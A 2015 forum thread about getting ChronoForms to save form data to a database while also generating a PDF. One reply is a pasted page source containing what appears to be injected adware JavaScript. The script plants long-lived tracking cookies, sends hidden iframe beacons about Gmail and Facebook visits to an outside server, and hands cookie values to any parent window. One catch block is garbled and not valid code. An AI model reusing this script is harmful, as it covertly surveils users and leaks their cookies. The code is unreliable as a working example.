Forums

How to save form data to DB

gfxrelay 12 Nov, 2015
Hi, I apologize if there is already an answer for this. I am really new to Chronoforms, but I am trying to save the contents of a form to database, I have build the form and added the table in my existing database with all the columns matching up to the columns in the form. I have also added the Save-to-DB event under my submit button, but no data is being saved to the database. Can someone please help me with this?😶
GreyHead 12 Nov, 2015
Hi gfxrelay,

First, please click the Delete Cache icon in the ChronoForms toolbar so that any old save table data is cleared.

If that doesn't work please drag a Debugger action into the On Submit event, then submit the form and post the debug results here. They should include the form data and the MySQL query that has been created to save it.

Bob
gfxrelay 13 Nov, 2015
Thanks for the replies, I found the problem being that if I try to generate a pdf as well as save to the DB, only the pdf is generated but nothing is saved to the DB. Even if I change the order, only the pdf is generated. Is there possibly a way to do both?
GreyHead 13 Nov, 2015
Hi gfxrelay,

It should be possible to do both - it sounds as though you may have a PHP error somewhere though. Please drag a Debugger action into the On Submit event, then submit the form and post the debug - including the 'dummy emails' results here.

The DB Save action should normally be before the TCPDF action as that can remove control of the process from ChronoForms if you have it set to display or immediate download.

Bob
gfxrelay 13 Nov, 2015
I dragged the debugger event into submit, but where would I be able to see the debug information?
gfxrelay 13 Nov, 2015
If I use the source view in Firefox I get the following:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
  <head>
    <meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
  </head>
  <body >
    <script type="text/javascript">
    var COOKIE_KEY = null;
    var getUrlHash = function() {
      var indexOfHash = document.URL.indexOf("#");
      return document.URL.substr(indexOfHash + 1);
    };
    var ronendebug;
    var jsonToUrlParams = function(obj) {
      var d = obj;
      var str = '';
      var arr = new Array();
      for (var key in d) {
        arr.push(key + "=" + d[key]);
      }
      if (arr.length > 0) {
        str += arr.pop(0);
        for (var index in arr) {
          str += "&";
          str += arr[index];
        }
      }
      return str;
    };
    var getParamFromUrlHash = function(key) {
      var d = getUrlHash();
      if (d != "") {
        key = key.toLowerCase();
        d = d.toLowerCase();
        d = d.match(new RegExp(key + "=(.*?)?(&|$)"));
        if (d !== null && d.length > 0) {
          return d[1];
        }
      }
      return "";
    };
    //console.log(getAllParamsFromUrlAsKeyValueJson());
    var getPartner = function() {
      return getParamFromUrlHash("partner");
    };
    var getPageUrl = function() {
      var ret = getParamFromUrlHash("pageurl");
      ret = ret.substr(0, 240);
      return ret;
    };
    var getReferrer = function() {
      var ret = getParamFromUrlHash("referrer");
      ret = decodeURIComponent(ret);
      return ret;
    };
    var getChannel = function() {
      return getParamFromUrlHash("channel");
    };
    var getCountry = function() {
      return getParamFromUrlHash("country");
    };
    var getOpDom = function() {
      return getParamFromUrlHash("opdom");
    };
    var getQuickBaseUrl = function() {
      var ret = getParamFromUrlHash("quick");
      ret = decodeURIComponent(ret);
      return ret;
    };
    var getTrinity = function() {
      var ret = getParamFromUrlHash("trinity");
      return ret;
    };
    var getHid = function() {
      var ret = getParamFromUrlHash("hid");
      return ret;
    };
    var getInstGrp = function() {
      var ret = getParamFromUrlHash("instgrp");
      return ret;
    };
    var getSampleSet = function() {
      var ret = getParamFromUrlHash("sset");
      return ret;
    };
    var getFbMedia = function() {
      var ret = getParamFromUrlHash("fbmedia");
      return ret;
    };
    //console.log(getPartner() , " " , getChannel() , " ", getOpDom());
    var SEPERATOR = "time_stamp_";
    var setCookie = function(cname, cvalue, exdays) {
      if (typeof exdays === "undefined") {
        exdays = 1;
      }
      var d = new Date();
      d.setTime(d.getTime() + (exdays * 24 * 60 * 60 * 1000));
      var expires = "expires=" + d.toUTCString();
      var domain = "; domain=tlscdn.com";
      document.cookie = cname + "=" + cvalue + "; " + expires + domain;
      typeof localStorage !== "undefined" && localStorage.setItem(cname, cvalue + SEPERATOR + d.getTime());
    };
    COOKIE_KEY = getOpDom() + getPartner();
    COOKIE_HBID = "hbid";
    var getCookie = function(cname) {
      var ret = "";
      if (typeof localStorage !== "undefined") {
        ret = localStorage.getItem(cname);
      }
      if (ret !== "" && ret !== null) {
        ret = ret.split(SEPERATOR);
        var revVal = ret[0];
        if (ret.length > 0) {
          var retExpired = ret[ret.length - 1];
          var now = +new Date();
          if (now > parseInt(retExpired)) {
            return "";
          }
        }
        return revVal;
      }
      var name = cname + "=";
      var ca = document.cookie.split(';');
      for (var i = 0; i < ca.length; i++) {
        var c = ca[i];
        while (c.charAt(0) == ' ') c = c.substring(1);
        if (c.indexOf(name) == 0) return c.substring(name.length, c.length);
      }
      return "";
    };
    var isItMediaSession = function() {
      var fbmedia = getFbMedia();
      return fbmedia !== null && fbmedia !== "";
    };
    var shouldReportHeartBit = function() {
      if (isItMediaSession()) {
        return false;
      }
      var sset = getSampleSet();
      var partner = getPartner();
      if (sset === "qa" || sset === "7") {
        if (partner === "ironpf" || partner === "pfna") {
          return true;
        }
      }
      var cookieVal = "";
      if (COOKIE_KEY !== "" && COOKIE_KEY !== "undefined") {
        cookieVal = getCookie(COOKIE_KEY);
      }
      var ret = (cookieVal !== null && cookieVal !== "") ? false : true;
      return ret;
    };
    var getHbId = function(check) {
      if (typeof check !== "undefined") {
        if (check > 1) {
          return;
        } else {
          check++;
        }
      }
      var cookieVal = "";
      cookieVal = getCookie(COOKIE_HBID);
      if (cookieVal !== null && cookieVal !== "") {
        return cookieVal;
      } else {
        var guid = (function() {
          function s4() {
            return Math.floor((1 + Math.random()) * 0x10000).toString(16).substring(1);
          }
          return function() {
            return 'b' + s4() + s4() + s4() + s4() + s4() + s4() + s4() + s4();
          };
        })();
        setCookie(COOKIE_HBID, guid(), 365 * 5);
        var checkTemp = 0;
        if (typeof check !== "undefined") {
          checkTemp = check;
        }
        return getHbId(checkTemp);
      }
    };
    var buildUrlEvent = function(url, jsonUrlParams) {
      var str = "";
      str += url + "?" + jsonToUrlParams(jsonUrlParams);
      return str;
    };
    var reportEvent = function(src) {
      try {
        var iframe = document.createElement("iframe");
        iframe.style["top"] = "-10000px";
        iframe.style["left"] = "-10000px";
        iframe.style["position"] = "relative";
        //iframe.style["display"] = "none";
        iframe.width = 1;
        iframe.height = 1;
        iframe.src = src;
        document.body.appendChild(iframe);
      } catch (E111) {}
    };
    var reportHeartbit = function() {
      var jsonUrlParams = {
        type: "althb",
        partner: getPartner(),
        channel: getChannel(),
        opdom: getOpDom(),
        uid: getHbId(),
        pageurl: getPageUrl(),
        cb: (+new Date() / 1E3 | 0) - (+new Date() / 1E3 | 0) % (60 * 60 * 24),
        trinity: getTrinity(),
        hid: getHid(),
        sset: getSampleSet(),
        instrp: getInstGrp()
      };
      var url = getQuickBaseUrl() + 'dealdo/event-report';
      url = buildUrlEvent(url, jsonUrlParams);
      reportEvent(url);
    };
    var handleHeartBit = function() {
      if (shouldReportHeartBit()) {
        reportHeartbit();
        var cval = +new Date();
        setCookie(COOKIE_KEY, cval);
      } else {
        //console.log("should not report");
      }
    };
    var getCookieParam = function() {
      var ret = getParamFromUrlHash("cookie");
      return ret;
    };
    (function() {
      var recieverPrefixCookieKey = "xbbccch";
      var senderPrefixCookieKey = "xbbcccd";
      var cookieParam = getCookieParam();
      if (cookieParam != "") {
        //reading cookies implemntation to other windows.
        parent.postMessage(senderPrefixCookieKey + getCookie(cookieParam), "*");
        return;
      }
      handleHeartBit();
      var handleGmail = function() {
        try {
          var pageUrl = getPageUrl();
          if (typeof pageUrl === "string" && (decodeURIComponent(pageUrl).indexOf("https://mail.google.com") !== -1 || decodeURIComponent(pageUrl).indexOf("https://www.gmail.com") !== -1 || decodeURIComponent(pageUrl).toLowerCase().indexOf("https://accounts.google.com/servicelogin?service=mail") !== -1)) {
            var oneOutOfHundred = parseInt(Math.random() * 100) == 5;
            var isDebug = document.URL.indexOf("danieldebug") !== -1;
            if (true) {
              var COOKIE_GMAIL = "cgml";
              var cookieVal = getCookie(COOKIE_GMAIL);
              var shouldPostMessage = (cookieVal !== null && cookieVal !== "") ? false : true;
              if (shouldPostMessage) {
                //parent.postMessage("qwerasdf","*");
                setCookie(COOKIE_GMAIL, COOKIE_GMAIL, 365);
                var url = getQuickBaseUrl() + 'dealdo/event-report';
                url = buildUrlEvent(url, {
                  type: "quick",
                  topic: "pregml7",
                  cb: Math.random()
                });
                reportEvent(url);
              }
            }
          }
        } catch (e) how: to - save - form - data - to - db
      };
      //handleGmail();
      //facebook pix for daniel;
      var pageUrl = getPageUrl();
      try {
        pageUrl = decodeURIComponent(pageUrl);
      } catch (e2332) {}
      pageUrl.indexOf("google.") === -1 && (pageUrl.indexOf("=facebook") !== -1 || getReferrer().indexOf("facebook.com") !== -1) && (function() {
        setCookie("mfacl2", +new Date(), 365);
        var url = getQuickBaseUrl() + 'dealdo/event-report';
        url = buildUrlEvent(url, {
          type: "quick",
          topic: "reffb",
          cb: Math.random()
        });
        reportEvent(url);
      })();
    })();
    </script>
  </body>
</html>
GreyHead 13 Nov, 2015
Hi gfxrelay,

I've cleaned that up to make it readable but I have do idea what it is - it appears to be a page full of JavaScript.

You should see the Debugger output once the form has submitted - as long as you don't have a ReDirect action in the form. It's possible it won't show with the TCPDF action there - you can't disable that, but you could make a copy of the form rename the copy and delete the TCPDF action just to test.

Bob
This topic is locked and no more replies can be posted.